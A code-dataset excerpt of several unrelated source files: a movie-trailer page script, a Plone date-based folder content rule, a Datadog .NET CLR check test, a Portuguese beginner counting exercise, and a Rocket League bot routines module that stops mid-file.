Sigourney Weaver\",\n \"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\",\n \"https://www.youtube.com/watch?v=_Tkc5pQp_JE\")\ngoodfellas = media.Movie(\"Goodfellas\",\n \"1990\",\n \"Henry Hill and his friends work their way up through the mob hierarchy.\",\n \"Martin Scorsese\",\n \"Nicholas Pileggi (book), Nicholas Pileggi (screenplay)\",\n \"Robert De Niro, Ray Liotta, Joe Pesci\",\n \"https://upload.wikimedia.org/wikipedia/en/7/7b/Goodfellas.jpg\",\n \"https://www.youtube.com/watch?v=YH-7he92XfI\")\n\n# load data in list for idplaying in module fresh_tomatoes\nmovies = [toy_story3, forrest_gump, avatar, goodfellas, a2001_a_space_odyssey, full_metal_jacket, apocalypse_now, the_deer_hunter, platoon]\nfresh_tomatoes.open_movies_page(movies)\n","sub_path":"entertainment_centre.py","file_name":"entertainment_centre.py","file_ext":"py","file_size_in_byte":6088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"231556103","text":"# -*- coding: utf-8 -*-\n\nfrom Acquisition import aq_base\nfrom Acquisition import aq_parent\n\nfrom OFS.SimpleItem import SimpleItem\n\nfrom zope.component import adapts\n\nfrom zope.interface import Interface\nfrom zope.interface import implements\n\nfrom zope.formlib import form\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom Products.CMFPlone.utils import _createObjectByType\n\nfrom Products.CMFPlacefulWorkflow.PlacefulWorkflowTool import \\\n WorkflowPolicyConfig_id\n\nfrom plone.app.contentrules.browser.formhelper import AddForm\nfrom plone.app.contentrules.browser.formhelper import EditForm\n\nfrom plone.app.form.widgets.uberselectionwidget import UberSelectionWidget\n\nfrom plone.contentrules.rule.interfaces import IRuleElementData\nfrom plone.contentrules.rule.interfaces import IExecutable\n\nfrom plone.app.contentrules.actions.move import MoveActionExecutor\n\nfrom DateTime import DateTime\n\nfrom sc.contentrules.groupbydate.interfaces import IGroupByDateAction, ViewFail\n\nfrom sc.contentrules.groupbydate.config import STRUCTURES\n\nfrom sc.contentrules.groupbydate.config import DEFAULTPOLICY\n\nfrom sc.contentrules.groupbydate import MessageFactory as _\n\n\nclass GroupByDateAction(SimpleItem):\n \"\"\"\n \"\"\"\n implements(IGroupByDateAction, IRuleElementData)\n\n base_folder = ''\n structure = '%Y/%m/%d'\n container = ('folder', 'Folder')\n default_view = 'folder_listing'\n\n element = 'sc.contentrules.actions.groupbydate'\n\n @property\n def summary(self):\n return _(u\"Move the item under ${base_folder} using ${structure}\"\n u\" structure\",\n mapping=dict(base_folder=self.base_folder,\n structure=self.structure))\n\n\nclass GroupByDateActionExecutor(MoveActionExecutor):\n \"\"\"The executor for this action.\n \"\"\"\n implements(IExecutable)\n adapts(Interface, IGroupByDateAction, Interface)\n\n def __init__(self, context, element, event):\n self.context = context\n self.element = element\n self.event = event\n self.wt = getToolByName(context, 'portal_workflow')\n\n def __call__(self):\n ''' Executes action, moving content to a date based folder structure\n '''\n context = self.context\n self._pstate = context.unrestrictedTraverse('@@plone_portal_state')\n self._portal = self._pstate.portal()\n self._portalPath = list(self._portal.getPhysicalPath())\n\n # Get event object\n obj = self.event.object\n\n # This should get us a DateTime or a datetime (dexterity)\n objDate = obj.effective_date\n\n base_folder = self.element.base_folder\n structure = self.element.structure\n\n folder = self._base_folder(str(base_folder), obj)\n\n if folder is None:\n self.error(obj, _(u\"Base folder ${target} does not exist.\",\n mapping={'target': base_folder}))\n return False\n\n destFolder = self._createFolderStructure(folder,\n structure, date=objDate)\n destFolderRelPath = self._relPathToPortal(destFolder)\n\n self.element.target_folder = '/'.join(destFolderRelPath)\n\n # Move object\n result = super(GroupByDateActionExecutor, self).__call__()\n self.element.target_folder = None\n return result\n\n def _relPathToPortal(self, obj):\n ''' Given an object we return it's relative path to portal\n '''\n portalPath = self._portalPath\n return list(obj.getPhysicalPath())[len(portalPath):]\n\n def _base_folder(self, base_folder, obj):\n ''' Given a base_folder string and the object triggering the event, we\n return the base object to be used by this action.\n '''\n # Large portions of this code came from Products.ATContentTypes\n # TODO: a package to deal with this kind of stuff (string to object?)\n # sanitize a bit: you never know, with all those win users out there\n relPath = base_folder.replace(\"\\\\\", \"/\")\n\n if relPath[0] == '/':\n # someone didn't enter a relative path.\n # let's go with it\n path = relPath.split('/')[1:]\n else:\n folders = relPath.split('/')\n\n # set the path to the object path\n path = self._relPathToPortal(aq_parent(obj))\n\n # now construct an aboslute path based on the relative custom path\n # eat away from 'path' whenever we encounter a '..'\n # in the relative path apend all other elements other than ..\n for folder in folders:\n if folder == '..':\n # chop off one level from path\n if path == []:\n # can't chop off more\n # just return this path and leave the loop\n break\n else:\n path = path[:-1]\n elif folder == '.':\n # don't really need this but for being complete\n # strictly speaking some user may use a . aswell\n pass # do nothing\n else:\n path.append(folder)\n\n if not (path == []):\n # As we will traverse from portal, there is no need to\n # have its path in the way\n path = '/'.join(path)\n try:\n baseFolder = self._portal.unrestrictedTraverse(path)\n except AttributeError:\n baseFolder = None\n except KeyError:\n baseFolder = None\n else:\n baseFolder = self._portal\n return baseFolder\n\n def _createFolderStructure(self, folder, structure='ymd', date=None):\n ''' Create a folder structure and then return our innermost folder\n '''\n if not date:\n date = DateTime()\n\n # BBB:to avoid breaking old rules\n if structure in [k for k, v in STRUCTURES]:\n if structure == 'ymd':\n dateFormat = '%Y/%m/%d'\n elif structure == 'ym':\n dateFormat = '%Y/%m'\n elif structure == 'y':\n dateFormat = '%Y'\n else:\n # Create a list stating if the folder should be hiddden from \n # navigation\n should_exclude = ['ee' in i for i in structure.split('/')]\n # Now remove all the 'h' that may be in the structure\n dateFormat = structure.replace('ee','')\n\n date = date.strftime(dateFormat)\n\n folderStructure = [str(p) for p in date.split('/')]\n\n container = self.element.container\n default_view = self.element.default_view\n for (fId, exclude) in zip(folderStructure, should_exclude):\n if not fId in folder.objectIds():\n _createObjectByType(container, folder, id=fId,\n title=fId, description=fId)\n folder = folder[fId]\n folder.setLayout(default_view)\n self._addWorkflowPolicy(folder)\n if exclude:\n folder.setExcludeFromNav(True)\n else:\n folder = folder[fId]\n return folder\n\n def _addWorkflowPolicy(self, folder, policy=DEFAULTPOLICY):\n ''' After creating a new folder, add a workflow policy in it\n and update its security settings\n '''\n wt = self.wt\n cmf_placeful = folder.manage_addProduct['CMFPlacefulWorkflow']\n cmf_placeful.manage_addWorkflowPolicyConfig()\n # Set the policy for the config\n pc = getattr(folder, WorkflowPolicyConfig_id)\n pc.setPolicyIn(policy)\n wfs = wt.getChainFor(folder)\n for wf_id in wfs:\n wf = wt.getWorkflowById(wf_id)\n change = wf.updateRoleMappingsFor(folder)\n if change and hasattr(aq_base(folder), 'reindexObject'):\n folder.reindexObject(idxs=['allowedRolesAndUsers'])\n\n\nclass GroupByDateAddForm(AddForm):\n \"\"\"\n An add form for the group by date action\n \"\"\"\n form_fields = form.FormFields(IGroupByDateAction)\n label = _(u\"Add group by date folder action\")\n description = _(u\"A content rules action to move an item to a folder\"\n u\" structure.\")\n form_name = _(u\"Configure element\")\n\n def update(self):\n self.setUpWidgets()\n self.form_reset = False\n\n data = {}\n errors, action = self.handleSubmit(self.actions, data, self.validate)\n # the following part will make sure that previous error not\n # get overriden by new errors. This is usefull for subforms. (ri)\n if self.errors is None:\n self.errors = errors\n else:\n if errors is not None:\n self.errors += tuple(errors)\n\n if errors:\n if (len(errors) == 1) and (isinstance(errors[0], ViewFail)):\n # We send a message if validation of view is false and\n # is the only error.\n self.status = _('The view is not available in that container')\n result = action.failure(data, errors)\n else:\n self.status = _('There were errors')\n result = action.failure(data, errors)\n elif errors is not None:\n self.form_reset = True\n result = action.success(data)\n else:\n result = None\n\n self.form_result = result\n\n def create(self, data):\n a = GroupByDateAction()\n form.applyChanges(a, self.form_fields, data)\n return a\n\n def handleSubmit(self, actions, data, default_validate=None):\n\n for action in actions:\n if action.submitted():\n errors = action.validate(data)\n if errors is None and default_validate is not None:\n errors = default_validate(action, data)\n return errors, action\n\n return None, None\n\n\nclass GroupByDateEditForm(EditForm):\n \"\"\"\n An edit form for the group by date action\n \"\"\"\n form_fields = form.FormFields(IGroupByDateAction)\n form_fields['base_folder'].custom_widget = UberSelectionWidget\n label = _(u\"Edit group by date action\")\n description = _(u\"A content rules action to move an item to a folder\"\n u\" structure.\")\n form_name = _(u\"Configure element\")\n\n def update(self):\n self.setUpWidgets()\n self.form_reset = False\n\n data = {}\n errors, action = self.handleSubmit(self.actions, data, self.validate)\n # the following part will make sure that previous error not\n # get overriden by new errors. This is usefull for subforms. (ri)\n if self.errors is None:\n self.errors = errors\n else:\n if errors is not None:\n self.errors += tuple(errors)\n\n if errors:\n if (len(errors) == 1) and (isinstance(errors[0], ViewFail)):\n # We send a message if validation of view is false and\n # is the only error.\n self.status = _(u'The view is not available in that container')\n result = action.failure(data, errors)\n else:\n self.status = _(u'There were errors')\n result = action.failure(data, errors)\n elif errors is not None:\n self.form_reset = True\n result = action.success(data)\n else:\n result = None\n\n self.form_result = result\n\n def handleSubmit(self, actions, data, default_validate=None):\n\n for action in actions:\n if action.submitted():\n errors = action.validate(data)\n if errors is None and default_validate is not None:\n errors = default_validate(action, data)\n return errors, action\n\n return None, None\n","sub_path":"sc/contentrules/groupbydate/actions/groupbydate.py","file_name":"groupbydate.py","file_ext":"py","file_size_in_byte":11912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"387426756","text":"# (C) Datadog, Inc. 2010-2016\n# All rights reserved\n# Licensed under Simplified BSD License (see LICENSE)\n\nimport os\nimport pytest\nfrom datadog_checks.stubs import aggregator\nfrom datadog_checks.dotnetclr import DotnetclrCheck\nfrom datadog_checks.dotnetclr.dotnetclr import DEFAULT_COUNTERS\n\n# for reasons unknown, flake8 says that pdh_mocks_fixture is unused, even though\n# it's used below. noqa to suppress that error.\nfrom datadog_test_libs.win.pdh_mocks import pdh_mocks_fixture, initialize_pdh_tests # noqa: F401\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nMINIMAL_INSTANCE = {\n 'host': '.',\n}\n\nINSTANCE_WITH_TAGS = {\n 'host': '.',\n 'tags': ['tag1', 'another:tag']\n}\n\n\n@pytest.fixture\ndef Aggregator():\n aggregator.reset()\n return aggregator\n\n\nCHECK_NAME = 'active_directory'\n\nINSTANCES = [\n '_Global_',\n 'Microsoft.Exchange.Search.Service',\n 'UMWorkerProcess',\n 'umservice',\n 'w3wp',\n 'Microsoft.Exchange.Store.Worker',\n 'Microsoft.Exchange.EdgeSyncSvc',\n 'MSExchangeDelivery',\n 'MSExchangeFrontendTransport',\n 'Microsoft.Exchange.Store.Service',\n 'EdgeTransport',\n 'MSExchangeTransport',\n 'Microsoft.Exchange.UM.CallRouter',\n 'MSExchangeTransportLogSearch',\n 'MSExchangeThrottling',\n 'MSExchangeHMWorker',\n 'MSExchangeSubmission',\n 'Microsoft.Exchange.ServiceHost',\n 'Microsoft.Exchange.RpcClientAccess.Service',\n 'noderunner',\n 'msexchangerepl',\n 'MSExchangeMailboxReplication',\n 'MSExchangeMailboxAssistants',\n 'ForefrontActiveDirectoryConnector',\n 'Microsoft.Exchange.AntispamUpdateSvc',\n 'Ec2Config',\n 'Microsoft.Exchange.Directory.TopologyService',\n 'WMSvc',\n 'MSExchangeHMHost',\n 'Microsoft.Exchange.Diagnostics.Service',\n 'hostcontrollerservice',\n 'Microsoft.ActiveDirectory.WebServices',\n]\n\n\n# flake8 then says this is a redefinition of unused, which it's not.\n@pytest.mark.usefixtures(\"pdh_mocks_fixture\") # noqa: F811\ndef test_basic_check(Aggregator, pdh_mocks_fixture):\n initialize_pdh_tests()\n instance = MINIMAL_INSTANCE\n c = DotnetclrCheck(CHECK_NAME, {}, {}, [instance])\n c.check(instance)\n\n for metric_def in DEFAULT_COUNTERS:\n metric = metric_def[3]\n for inst in INSTANCES:\n Aggregator.assert_metric(metric, tags=[\"instance:%s\" % inst], count=1)\n\n assert Aggregator.metrics_asserted_pct == 100.0\n","sub_path":"dotnetclr/tests/test_dotnetclr.py","file_name":"test_dotnetclr.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"347502038","text":"\n# Crie um programa que leia a idade e o sexo de várias pessoas. A cada pessoa cadastrada o programa deverá perguntar se\n# o usuário quer ou não continuar. No final mostre:\n# A) Quantas pessoas tem mais de 18 anos.\n# B) Quantos homens foram cadastrados.\n# C) Quantas mulheres tem menos de 20 anos.\n\nseparador = ('─' * 40)\ntotal18 = totalHomens = totalMulheres20 = 0\n\nwhile True:\n print(separador)\n idade = int(input('Idade: '))\n\n sexo = ' '\n while sexo not in 'MF':\n sexo = str(input('Sexo: [M/F] ')).strip().upper()[0]\n\n if idade >= 18:\n total18 += 1\n if sexo == 'M':\n totalHomens += 1\n if sexo == 'F' and idade < 20:\n totalMulheres20 += 1\n print(separador)\n resposta = ' '\n while resposta not in 'SN':\n resposta = str(input('Quer continuar? [S/N} ')).strip().upper()[0]\n if resposta == 'N':\n break\n\nprint(separador)\nprint(f'Total de pessoas com mais de 18 anos foi {total18}')\nprint(f'Ao todo temos {totalHomens} homens cadastrados')\nprint(f'E temos {totalMulheres20} mulheres com menos de 20 anos')\nprint(separador)","sub_path":"exercicios/ex069a.py","file_name":"ex069a.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"474722352","text":"from util.utils import (math, Vector, backsolve, cap, defaultPD, defaultThrottle,\n shot_valid, side, sign)\n\nmax_speed = 2300\nthrottle_accel = 2/3 * 100\nbrake_accel = Vector(x=-3500)\nboost_per_second = 33 + (1/3)\njump_max_duration = 0.2\njump_speed = 291 + (2/3)\njump_acc = 1458 + (1/3)\n\n\nclass atba:\n def __init__(self, exit_distance=500, exit_flip=True):\n self.exit_distance = exit_distance\n self.exit_flip = exit_flip\n\n def run(self, agent):\n target = agent.ball.location\n car_to_target = target - agent.me.location\n distance_remaining = car_to_target.flatten().magnitude()\n\n # Some adjustment to the final target to ensure it's inside the field and we don't try to drive through any goalposts to reach it\n if abs(agent.me.location.y) > 5150:\n target.x = cap(target.x, -750, 750)\n\n local_target = agent.me.local(target - agent.me.location)\n\n angles = defaultPD(agent, local_target)\n defaultThrottle(agent, 1400)\n\n agent.controller.boost = False\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) else agent.controller.handbrake\n\n velocity = 1+agent.me.velocity.magnitude()\n if distance_remaining < self.exit_distance:\n agent.pop()\n if self.exit_flip:\n agent.push(flip(local_target))\n elif abs(angles[1]) < 0.05 and velocity > 600 and velocity < 2150 and distance_remaining / velocity > 2.0:\n agent.push(flip(local_target))\n elif abs(angles[1]) > 2.8 and velocity < 200:\n agent.push(flip(local_target, True))\n elif agent.me.airborne:\n agent.push(recovery(target))\n\n\nclass wave_dash:\n # This is a straight-line only version of flip()\n # TODO - Refine jumping\n def __init__(self, boost=False):\n self.step = 0\n self.boost = boost\n\n def run(self, agent):\n # if agent.me.velocity.flatten().magnitude() > 100:\n # target = agent.me.velocity.flatten().normalize() * 100 + Vector(z=50)\n # else:\n # target = agent.me.forward.flatten() * 100 + Vector(z=50)\n\n # local_target = agent.me.local(target)\n # defaultPD(agent, local_target)\n\n if self.step <= 5:\n self.step += 1\n agent.controller.pitch = 1\n agent.controller.yaw = agent.controller.role = 0\n\n if self.step == 0:\n pass\n elif self.step < 3:\n agent.controller.jump = True\n elif self.step < 4:\n agent.controller.jump = False\n else:\n if (agent.me.location + (agent.me.velocity * 0.2)).z < 5:\n agent.controller.jump = True\n agent.controller.pitch = -1\n agent.controller.yaw = agent.controller.role = 0\n agent.pop()\n elif not agent.me.airborne:\n agent.pop()\n\n\nclass Aerial:\n def __init__(self, ball_intercept, intercept_time):\n self.target = ball_intercept\n self.intercept_time = intercept_time\n self.jumping = True\n self.time = -1\n self.jump_time = -1\n self.counter = 0\n\n def run(self, agent):\n if not agent.shooting:\n agent.shooting = True\n\n if self.time is -1:\n elapsed = 0\n self.time = agent.time\n agent.print(f\"Hit ball via aerial {round(agent.me.location.dist(self.target), 4)}uu's away in {round(self.intercept_time - self.time, 4)}s\")\n else:\n elapsed = agent.time - self.time\n\n T = self.intercept_time - agent.time\n xf = agent.me.location + agent.me.velocity * T + 0.5 * agent.gravity * T ** 2\n vf = agent.me.velocity + agent.gravity * T\n if self.jumping:\n if self.jump_time == -1:\n jump_elapsed = 0\n self.jump_time = agent.time\n else:\n jump_elapsed = agent.time - self.jump_time\n\n tau = jump_max_duration - jump_elapsed\n\n if jump_elapsed == 0:\n vf += agent.me.up * jump_speed\n xf += agent.me.up * jump_speed * T\n\n vf += agent.me.up * jump_acc * tau\n xf += agent.me.up * jump_acc * tau * (T - 0.5 * tau)\n\n vf += agent.me.up * jump_speed\n xf += agent.me.up * jump_speed * (T - tau)\n\n if jump_elapsed < jump_max_duration:\n agent.controller.jump = True\n elif elapsed >= jump_max_duration and self.counter < 3:\n agent.controller.jump = False\n self.counter += 1\n elif elapsed < 0.3:\n agent.controller.jump = True\n else:\n self.jumping = jump_elapsed <= 0.3 # jump_max_duration\n else:\n agent.controller.jump = False\n\n delta_x = self.target - xf\n direction = delta_x.normalize()\n\n agent.line(agent.me.location, self.target, agent.renderer.white())\n agent.line(self.target - Vector(z=100), self.target + Vector(z=100), agent.renderer.red())\n agent.line(agent.me.location, direction, agent.renderer.green())\n\n defaultPD(agent, agent.me.local(delta_x if delta_x.magnitude() > 50 else self.target))\n\n if jump_max_duration <= elapsed and elapsed < 0.3 and self.counter ** 3:\n agent.controller.roll = agent.controller.pitch = agent.controller.yaw = agent.controller.steer = 0\n\n if agent.me.forward.angle3D(direction) < 0.3:\n if delta_x.magnitude() > 50:\n agent.controller.boost = 1\n agent.controller.throttle = 0\n else:\n agent.controller.boost = 0\n agent.controller.throttle = cap(0.5 * throttle_accel * T * T, 0, 1)\n else:\n agent.controller.boost = agent.controller.throttle = 0\n\n still_valid = shot_valid(agent, self, threshold=250, target=self.target)\n\n if T <= 0 or not still_valid:\n if not still_valid:\n agent.print(\"Aerial is no longer valid\")\n\n agent.pop()\n agent.shooting = False\n agent.shot_weight = -1\n agent.shot_time = -1\n agent.push(ball_recovery())\n\n def is_viable(self, agent):\n T = self.intercept_time - agent.time\n xf = agent.me.location + agent.me.velocity * T + 0.5 * agent.gravity * T * T\n vf = agent.me.velocity + agent.gravity * T\n\n if not agent.me.airborne:\n vf += agent.me.up * (2 * jump_speed + jump_acc * jump_max_duration)\n xf += agent.me.up * (jump_speed * (2 * T - jump_max_duration) + jump_acc * (T * jump_max_duration - 0.5 * jump_max_duration ** 2))\n\n delta_x = self.target - xf\n f = delta_x.normalize()\n phi = f.angle3D(agent.me.forward)\n turn_time = 0.7 * (2 * math.sqrt(phi / 9))\n\n tau1 = turn_time * cap(1 - 0.3 / phi, 0, 1)\n required_acc = (2 * delta_x.magnitude()) / ((T - tau1) * (T - tau1))\n ratio = required_acc / agent.boost_accel\n tau2 = T - (T - tau1) * math.sqrt(1 - cap(ratio, 0, 1))\n velocity_estimate = vf + agent.boost_accel * (tau2 - tau1) * f\n boost_estimate = (tau2 - tau1) * 30\n enough_boost = boost_estimate < 0.95 * agent.me.boost\n enough_time = abs(ratio) < 0.9\n enough_speed = velocity_estimate.normalize(True)[1] < 0.9 * max_speed\n\n return enough_speed and enough_boost and enough_time\n\n\nclass flip:\n # Flip takes a vector in local coordinates and flips/dodges in that direction\n # cancel causes the flip to cancel halfway through, which can be used to half-flip\n def __init__(self, vector, cancel=False):\n self.vector = vector.normalize()\n self.pitch = abs(self.vector.x) * -sign(self.vector.x)\n self.yaw = abs(self.vector.y) * sign(self.vector.y)\n self.cancel = cancel\n # the time the jump began\n self.time = -1\n # keeps track of the frames the jump button has been released\n self.counter = 0\n\n def run(self, agent):\n if agent.gravity.z == 3250:\n agent.pop()\n\n if self.time == -1:\n elapsed = 0\n self.time = agent.time\n else:\n elapsed = agent.time - self.time\n\n if elapsed < 0.15:\n agent.controller.jump = True\n elif elapsed >= 0.15 and self.counter < 3:\n agent.controller.jump = False\n self.counter += 1\n elif elapsed < 0.3 or (not self.cancel and elapsed < 0.9):\n agent.controller.jump = True\n agent.controller.pitch = self.pitch\n agent.controller.yaw = self.yaw\n else:\n agent.pop()\n agent.push(recovery())\n\n\nclass brake:\n def run(self, agent):\n speed = agent.me.local(agent.me.velocity).x\n if speed > 0:\n agent.controller.throttle = -1\n if speed < 25:\n agent.pop()\n elif speed < 0:\n agent.controller.throttle = 1\n if speed > -25:\n agent.pop()\n else:\n agent.pop()\n\n\nclass goto:\n # Drives towards a designated (stationary) target\n # Optional vector controls where the car should be pointing upon reaching the target\n # TODO - slow down if target is inside our turn radius\n def __init__(self, target, vector=None, direction=1, brake=False):\n self.target = target\n self.vector = vector\n self.direction = direction\n self.brake = brake\n\n def run(self, agent, manual=False):\n car_to_target = self.target - agent.me.location\n distance_remaining = car_to_target.flatten().magnitude()\n\n agent.dbg_2d(distance_remaining)\n agent.line(self.target - Vector(z=500), self.target + Vector(z=500), [255, 0, 255])\n\n if (not self.brake and distance_remaining < 350) or (self.brake and distance_remaining < (agent.me.local(agent.me.velocity).x ** 2 * -1) / (2 * brake_accel.x)):\n if not manual:\n agent.pop()\n\n if self.brake:\n agent.push(brake())\n return\n\n if self.vector != None:\n # See commends for adjustment in jump_shot or aerial for explanation\n side_of_vector = sign(self.vector.cross(Vector(z=1)).dot(car_to_target))\n car_to_target_perp = car_to_target.cross(Vector(z=side_of_vector)).normalize()\n adjustment = car_to_target.angle(self.vector) * distance_remaining / 3.14\n final_target = self.target + (car_to_target_perp * adjustment)\n else:\n final_target = self.target\n\n # Some adjustment to the final target to ensure it's inside the field and we don't try to dirve through any goalposts to reach it\n if abs(agent.me.location.y) > 5150:\n final_target.x = cap(final_target.x, -750, 750)\n\n local_target = agent.me.local(final_target - agent.me.location)\n\n angles = defaultPD(agent, local_target, self.direction)\n defaultThrottle(agent, 2300, self.direction)\n\n if len(agent.friends) > 0 and agent.me.local(agent.me.velocity).x < 250 and agent.controller.throttle > 0.75 and min(agent.me.location.flat_dist(car.location) for car in agent.friends) < 251:\n agent.push(flip(Vector(y=250)))\n return\n\n if agent.me.boost < 30 or (agent.playstyle is agent.playstyles.Defensive and agent.predictions['self_from_goal'] < 4000):\n agent.controller.boost = False\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) else agent.controller.handbrake\n\n velocity = 1+agent.me.velocity.magnitude()\n if abs(angles[1]) < 0.05 and velocity > 600 and velocity < 2150 and distance_remaining / velocity > 2:\n agent.push(flip(local_target))\n elif abs(angles[1]) > 2.8 and velocity < 200 and distance_remaining / velocity > 2:\n agent.push(flip(local_target, True))\n elif agent.me.airborne:\n agent.push(recovery(self.target))\n\n\nclass dynamic_backcheck:\n def __init__(self):\n self.start_time = None\n self.goto = goto(Vector(), brake=True)\n\n def run(self, agent):\n if self.start_time is None:\n self.start_time = agent.time\n\n ball_loc = agent.ball.location.y * side(agent.team)\n\n if agent.time - self.start_time > 0.5 or agent.playstyle is agent.playstyles.Defensive or ball_loc > 2560:\n agent.pop()\n return\n\n target = Vector(y=(ball_loc + 1280) * side(agent.team))\n\n if agent.ball.location.x > 2560:\n target.x = 2560 if ball_loc <= 0 else 1024\n elif agent.ball.location.x < -2560:\n target.x = -2560 if ball_loc <= 0 else -1024\n\n self_to_target = agent.me.location.dist(target)\n\n if self_to_target > 250:\n self.goto.target = target\n self.goto.vector = agent.ball.location\n self.goto.run(agent, manual=True)\n\n if self_to_target < 500:\n agent.controller.boost = False\n agent.controller.throttle = cap(agent.controller.throttle, -0.75, 0.75)\n\n\nclass retreat:\n def __init__(self):\n self.counter = 0\n self.goto = goto(Vector(), brake=True)\n self.facing = False\n\n def run(self, agent):\n if agent.ball.location.y * side(agent.team) < 2560 and agent.playstyle is not agent.playstyles.Defensive:\n agent.pop()\n return\n\n team_to_ball = [car.location.flat_dist(agent.ball.location) for car in agent.friends if car.location.y * side(agent.team) >= agent.ball.location.y * side(agent.team) - 50 and abs(car.location.x) < abs(agent.ball.location.x)]\n self_to_ball = agent.me.location.flat_dist(agent.ball.location)\n team_to_ball.append(self_to_ball)\n team_to_ball.sort()\n\n if len(agent.friends) <= 1 or (agent.ball.location.x <= 900 and agent.ball.location.x >= -900) or len(team_to_ball) <= 1:\n target = agent.friend_goal.location\n elif team_to_ball[-1] == self_to_ball:\n target = agent.friend_goal.right_post if abs(agent.ball.location.x) > 900 else agent.friend_goal.left_post\n else:\n target = agent.friend_goal.left_post if abs(agent.ball.location.x) > 900 else agent.friend_goal.right_post\n\n target = target.copy()\n\n if agent.ball.location.y * side(agent.team) > 4620 and target == agent.friend_goal.location:\n target.y = (agent.ball.location.y * side(agent.team) + 250) * side(agent.team)\n else:\n target = target + Vector(y=-245 * side(agent.team))\n\n target = target.flatten()\n\n agent.line(target, target + Vector(z=100))\n\n if target.flat_dist(agent.me.location) < 100:\n if abs(agent.me.local(agent.me.velocity).x) > 10 and not self.facing:\n agent.push(brake())\n return\n\n if self.facing or (abs(agent.me.local(agent.me.velocity).x) < 10 and Vector(x=1).angle(agent.me.local(agent.ball.location - agent.me.location)) > 0.25):\n self.facing = True\n if self.counter == 0:\n agent.controller.jump = True\n elif self.counter == 2:\n agent.pop()\n agent.push(ball_recovery())\n self.counter += 1\n return\n\n agent.pop()\n else:\n self.goto.target = target\n self.goto.run(agent, manual=True)\n\n\nclass goto_boost:\n # very similar to goto() but designed for grabbing boost\n # if a target is provided the bot will try to be facing the target as it passes over the boost\n def __init__(self, boost):\n self.boost = boost\n self.start_time = None\n\n def run(self, agent):\n if self.start_time is None:\n self.start_time = agent.time\n\n car_to_boost = self.boost.location - agent.me.location\n distance_remaining = car_to_boost.flatten().magnitude()\n\n agent.line(self.boost.location - Vector(z=500), self.boost.location + Vector(z=500), [0, 255, 0])\n\n target = None if self.boost.large else agent.ball.location\n\n if target is not None:\n vector = (target - self.boost.location).normalize()\n side_of_vector = sign(vector.cross(Vector(z=1)).dot(car_to_boost))\n car_to_boost_perp = car_to_boost.cross(Vector(z=side_of_vector)).normalize()\n adjustment = car_to_boost.angle(vector) * distance_remaining / 3.14\n final_target = self.boost.location + (car_to_boost_perp * adjustment)\n car_to_target = (target - agent.me.location).magnitude()\n else:\n adjustment = 9999\n car_to_target = 0\n final_target = self.boost.location\n\n # Some adjustment to the final target to ensure it's inside the field and we don't try to dirve through any goalposts to reach it\n if abs(agent.me.location.y) > 5150:\n final_target.x = cap(final_target.x, -750, 750)\n\n local_target = agent.me.local(final_target - agent.me.location)\n\n angles = defaultPD(agent, local_target)\n defaultThrottle(agent, 2300)\n\n agent.controller.boost = self.boost.large if abs(angles[1]) < 0.3 else False\n agent.controller.handbrake = True if abs(angles[1]) >= 2.3 or (agent.me.local(agent.me.velocity).x >= 1400 and abs(angles[1]) > 1.5) else agent.controller.handbrake\n\n velocity = 1+agent.me.velocity.magnitude()\n if not self.boost.active or agent.me.boost >= 80.0 or distance_remaining < 350:\n agent.pop()\n elif agent.me.airborne:\n agent.push(recovery(target))\n elif abs(angles[1]) < 0.05 and velocity > 600 and velocity < 2150 and (distance_remaining / velocity > 2.0 or (adjustment < 90 and car_to_target/velocity > 2.0)):\n agent.push(flip(local_target))\n elif agent.time - self.start_time > 2.5:\n agent.pop()\n\n\nclass jump_shot:\n # Hits a target point at a target time towards a target direction\n # Target must be no higher than 300uu unless you're feeling lucky\n # TODO - speed\n def __init__(self, ball_location, intercept_time, shot_vector, direction=1):\n self.ball_location = ball_location\n self.intercept_time = intercept_time\n # The direction we intend to hit the ball in\n self.shot_vector = shot_vector\n # The point we dodge at\n # 172 is the 92uu ball radius + a bit more to account for the car's hitbox\n self.dodge_point = self.ball_location - (self.shot_vector * 172)\n # whether the car should attempt this backwards\n self.direction = direction\n # controls how soon car will jump based on acceleration required. max 584\n # bigger = later, which allows more time to align with shot vector\n # smaller = sooner\n self.jump_threshold = 400\n # Flags for what part of the routine we are in\n self.jumping = False\n self.dodging = False\n self.counter = 0\n\n def run(self, agent):\n agent.shooting = True\n raw_time_remaining = self.intercept_time - agent.time\n # Capping raw_time_remaining above 0 to prevent division problems\n time_remaining = cap(raw_time_remaining, 0.001, 10.0)\n car_to_ball = self.ball_location - agent.me.location\n # whether we are to the left or right of the shot vector\n side_of_shot = sign(self.shot_vector.cross(Vector(z=1)).dot(car_to_ball))\n\n car_to_dodge_point = self.dodge_point - agent.me.location\n car_to_dodge_perp = car_to_dodge_point.cross(Vector(z=side_of_shot)) # perpendicular\n distance_remaining = car_to_dodge_point.magnitude()\n\n speed_required = distance_remaining / time_remaining\n acceleration_required = backsolve(self.dodge_point, agent.me, time_remaining, 0 if not self.jumping else agent.gravity.z)\n local_acceleration_required = agent.me.local(acceleration_required)\n\n # The adjustment causes the car to circle around the dodge point in an effort to line up with the shot vector\n # The adjustment slowly decreases to 0 as the bot nears the time to jump\n adjustment = car_to_dodge_point.angle(self.shot_vector) * distance_remaining / 2.0 # size of adjustment\n # factoring in how close to jump we are\n adjustment *= (cap(self.jump_threshold - (acceleration_required.z), 0, self.jump_threshold) / self.jump_threshold)\n # we don't adjust the final target if we are already jumping\n final_target = self.dodge_point + ((car_to_dodge_perp.normalize() * adjustment) if not self.jumping else 0) + Vector(z=50)\n # Ensuring our target isn't too close to the sides of the field, where our car would get messed up by the radius of the curves\n\n # Some adjustment to the final target to ensure 